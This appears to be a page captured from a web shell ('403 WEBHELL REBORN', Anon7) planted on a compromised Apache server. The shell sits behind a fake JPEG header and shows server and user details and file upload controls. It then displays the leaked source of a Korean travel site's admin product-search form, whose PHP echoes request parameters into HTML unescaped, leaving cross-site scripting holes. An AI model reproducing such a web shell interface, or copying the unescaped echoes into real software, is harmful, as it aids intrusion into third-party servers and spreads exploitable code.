ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/good/good_list_search.php
<?php 
$today 				= date("Y-m-d");
$yesterday 			= date('Y-m-d', strtotime("-1 day",strtotime($today) ) ); // 어제
$bebore7day 		= date('Y-m-d', strtotime("-7 day",strtotime($today) ) ); // 7일
$bebore15day		= date('Y-m-d', strtotime("-15 day",strtotime($today) ) ); // 15일
$bebore1month 	= date('Y-m-d', strtotime("-1 month",strtotime($today) ) ); // 1개월
$bebore3month 	= date('Y-m-d', strtotime("-3 month",strtotime($today) ) ); // 3개월
$bebore1year 		= date('Y-m-d', strtotime("-1 year",strtotime($today) ) ); // 1년

// 1차 카테고리 전체
$data_bc = TO_get_bc("","N"," and tab in ('P','D','T','V') ");

// 2차 카테고리 전체
$data_mc= TO_get_mc($b_uid_s,"","N");
?>
<!-- 폼 -->
<form name="frm_search" id="frm_search" method="get">
<input type="hidden" name="period_date_s" id="period_date_s" value="<?=$period_date_s?>">
<input type="hidden" name="tab" value="<?=$tab?>">
<div class="c_top_bar_search">
	<table width="100%" border="0" cellpadding="0" cellspacing="0" summary="여행상품 예약관리 통합검색입니다." class="c_top_table">
		<caption>여행상품 예약관리 통합검색</caption>
		<colgroup>
		<col width="150px" />
		<col />
		</colgroup>
		<tbody>
			<tr>
				<th>검색어</th>
				<td><ul class="form_list">
						<li class="mr5">
							<select name="search_key_s" id="">
								<option value="g_title" <?=($search_key_s=="g_title") ? "selected":""?>>상품명</option>
								<option value="srh_d_title" <?=($search_key_s=="srh_d_title") ? "selected":""?>>행사명</option>
								<option value="srh_d_code" <?=($search_key_s=="srh_d_code") ? "selected":""?>>행사코드</option>
								<option value="admin_nm" <?=($search_key_s=="admin_nm") ? "selected":""?>>담당자명</option>
								<option value="g_api" <?=($search_key_s=="g_api") ? "selected":""?>>외부연동</option>
							</select>
						</li>
						<li>
							<input type="text" id="" name="search_word_s" value="<?=$search_word_s?>" style="width:330px;" onKeypress="javascript:if(event.keyCode==13) {document.frm_search.submit();}"/>
						</li>
                        <li>
                            <a href="javascript:;" class="sch_btn" onclick="document.frm_search.submit();">검색</a>
                        </li>
					</ul></td>
			</tr>
			<tr>
				<th>기간</th>
				<td><ul class="form_list">
						<li class="pt5">
							<input type="radio" name="date_key" Id="period_s_1" value="g_regdate" style="vertical-align:middle;" <?=(!$date_key or $date_key=="g_regdate") ? "checked":""?>/>
							<label for="period_s_1" title="등록일">등록일</label>
						</li>
						<li class="pt5">
							<input type="radio" name="date_key" Id="period_s_2" value="g_moddate" style="vertical-align:middle;" <?=($date_key=="g_moddate") ? "checked":""?>/>
							<label for="period_s_2" title="수정일">수정일</label>
						</li>
						<li>
							<input type="text" name="date_s1" id="date_s1" class="cal_input" value="<?=$date_s1?>" onclick="AjaxCal(this,event);" readonly>
							~
							<input type="text" name="date_s2" id="date_s2" class="cal_input" value="<?=$date_s2?>" onclick="AjaxCal(this,event);" readonly>
						</li>
						<li>
							<ul class="form_in_btn item_period_date">
								<li class="<?=($period_date_s=="yesterday") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$yesterday?>');$('#date_s2').val('<?=$yesterday?>');$('#period_date_s').val('yesterday');">어제</a></li>
								<li class="<?=($period_date_s=="today") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$today?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('today');">오늘</a></li>
								<li class="<?=($period_date_s=="bebore7day") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore7day?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore7day');">7일</a></li>
								<li class="<?=($period_date_s=="bebore15day") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore15day?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore15day');">15일</a></li>
								<li class="<?=($period_date_s=="bebore1month") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore1month?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore1month');">1개월</a></li>
								<li class="<?=($period_date_s=="bebore3month") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore3month?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore3month');">3개월</a></li>
								<li class="<?=($period_date_s=="bebore1year") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore1year?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore1year');">1년</a></li>
								<li class="<?=(!$period_date_s) ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('');$('#date_s2').val('');$('#period_date_s').val('');">전체</a></li>
							</ul>
						</li>
					</ul>
					</td>
			</tr>
			<tr  class="bot_line">
				<th>사이트/카테고리</th>
				<td><ul class="form_list">
						<li>
							<select name="lang">
								<option value="">==사이트 선택==</option>
								<option value="ko" <?=($lang=='ko')?"selected":""?>>여행대장</option>
								<option value="hk" <?=($lang=='hk')?"selected":""?>>TK 번체</option>
								<option value="en" <?=($lang=='en' || $lang=='eng')?"selected":""?>>TK 영어</option>
								<option value="cn" <?=($lang=='cn')?"selected":""?>>TK 간체</option>
							</select>
						</li>
						<li>
							<select name="b_uid_s" id="b_uid_s" onchange="ajax_loader('good_edit_category_ajax.html?mode=mc_search&b_uid='+this.value,'ajax_category2',false);">
								<option value="">==1차카테고리==</option>
								<?
									for($i=0 ; $i < count($data_bc) ; $i++){
										$arr = $data_bc[$i];
								?>
								<option value="<?=$arr['b_uid']?>" <?=($b_uid_s==$arr['b_uid'])?"selected":""?>><?=$arr['b_name']?></option>
								<? } ?>
							</select>
						</li>
						<li>
							<span id="ajax_category2">
							<select name="m_uid_s" id="m_uid_s" onchange="ajax_loader('good_edit_category_ajax.html?mode=sc_search&b_uid=<?=$b_uid_s?>&m_uid='+this.value,'ajax_category3',false);">
								<option value="">==2차카테고리==</option>
								<?
									for($i=0 ; $i < count($data_mc) ; $i++){
										$arr = $data_mc[$i];
								?>
								<option value="<?=$arr['m_uid']?>" <?=($m_uid_s==$arr['m_uid'])?"selected":""?>><?=$arr['m_name']?></option>
								<? } ?>
							</select>
							</span>
						</li>
						<li>
							<span id="ajax_category3">
							<select name="s_uid_s" id="s_uid_s">
							<option value="">==3차카테고리==</option>
							<?
								if($m_uid_s) {
									$sc_arr = TO_get_sc($b_uid_s,$m_uid_s);
									for($i=0 ;$i<count($sc_arr)  ;$i++){
										$arr = $sc_arr[$i];
							?>
								<option value="<?=$arr['s_uid']?>" <?=($arr['s_uid']==$s_uid_s)?"selected":""?>><?=$arr['s_name']?></option>
							<?
									}
								}
							?>
							</select>
							</span>
						</li>
						<!--
						<li>
							<select name="Bidx_s" id="Bidx_s" onchange="ajax_loader('../good/good_edit_cityarea_ajax.html?mode=city_search&Bidx='+this.value,'ajax_city');">
								<option value="">==국가==</option>
								<?
									for($i=0 ; $i < count($data_areaa) ; $i++)
									{
										$arr = $data_areaa[$i];
								?>
								<option value="<?=$arr['Bidx']?>" <?=($Bidx_s==$arr['Bidx'])?"selected":""?>><?=$arr['NationName']?></option>
								<?}?>
							</select>
						</li>
						<li>
							<span id="ajax_city">
							<select name="Cidx_s" id="Cidx_s">
								<option value="">==도시==</option>
							</select>
							</span>
						</li>
						-->
					</ul></td>
			</tr>
			<?php if($tab=="D"){?>
			<tr>
				<th>단체/단독</th>
				<td><ul class="form_list">
					<li>
						<input type="radio" name="gdt_s" Id="srh_payment_s_1" value="" style="vertical-align:middle;" <?=(!$gdt_s) ? "checked":""?>/>
						<label for="srh_payment_s_1" title="전체">전체</label>
					</li>
					<li>
						<input type="radio" name="gdt_s" Id="srh_payment_s_2" value="gr" style="vertical-align:middle;" <?=($gdt_s=="gr") ? "checked":""?>/>
						<label for="srh_payment_s_2" title="단체투어">단체투어</label>
					</li>
					<li>
						<input type="radio" name="gdt_s" Id="srh_payment_s_3" value="pe" style="vertical-align:middle;" <?=($gdt_s=="pe") ? "checked":""?>/>
						<label for="srh_payment_s_3" title="단독투어">단독투어</label>
					</li>
				</ul></td>
			</tr>
			<?php }?>
			<tr  style="display:none">
				<th>여행대장 노출</th>
				<td><ul class="form_list">
					<li>
						<input type="radio" name="gmain_s" Id="gmain_s_99" value="" style="vertical-align:middle;"/>
						<label for="gmain_s_99" title="전체">전체</label>
					</li>
					<?php 
						for($i=0 ; $i<count($code_chuchun) ; $i++){
							$arr = $code_chuchun[$i];
							if(strpos($arr['cd_nm'], 'TK') !== false){
								continue;
							}else{

							}
					?>
					<li>
						<input type="radio" name="gmain_s" Id="gmain_s_<?=$i?>" value="<?=$arr['cd_memo']?>" style="vertical-align:middle;"/>
						<label for="gmain_s_<?=$i?>" title="회원"><img src="<?=$arr['cd_img']?>"> <?=$arr['cd_nm']?></label>
					</li>
					<?php }?>
				</ul></td>
			</tr>

            <tr class="bot_line" style="display:none">
                <th>TK트래블 노출</th>
                <td><ul class="form_list">
                        <li>
                            <input type="radio" name="gmain_s" Id="gmain_s_99" value="" style="vertical-align:middle;"/>
                            <label for="gmain_s_99" title="전체">전체</label>
                        </li>
						<?php
						for($i=0 ; $i<count($code_chuchun) ; $i++){
							$arr = $code_chuchun[$i];
                            if(strpos($arr['cd_nm'], 'TK') !== false){

                            }else{
                                continue;
                            }
							?>
                            <li>
                                <input type="radio" name="gmain_s" Id="gmain_s_<?=$i?>" value="<?=$arr['cd_memo']?>" style="vertical-align:middle;" />
                                <label for="gmain_s_<?=$i?>" title="회원"><img src="<?=$arr['cd_img']?>"> <?=$arr['cd_nm']?></label>
                            </li>
						<?php }?>
                    </ul></td>
            </tr>

		</tbody>
	</table>
</div>
<script type="text/javascript">
$(document).ready(function(){
	
	// 카테고리
	$("#srh_b_uid_s").on("change",function(){
		var srh_b_uid = $(this).val();

		ajax_loader("ajax_selectbox_mc.html?srh_b_uid="+srh_b_uid,"ajax_mc");
		ajax_loader("ajax_selectbox_sc.html","ajax_sc",false);
	});

	// 국가
	$("#srh_Bidx_s").on("change",function(){
		var srh_Bidx = $(this).val();

		ajax_loader("ajax_selectbox_areac.html?srh_Bidx="+srh_Bidx,"ajax_areac");
	});

	// 기간검색
	$(".item_period_date li").on("click",function(){
		$(this).addClass("on").siblings().removeClass("on");
	});
		
});
</script>

</form>
<!-- /폼 -->





Anon7 - 2021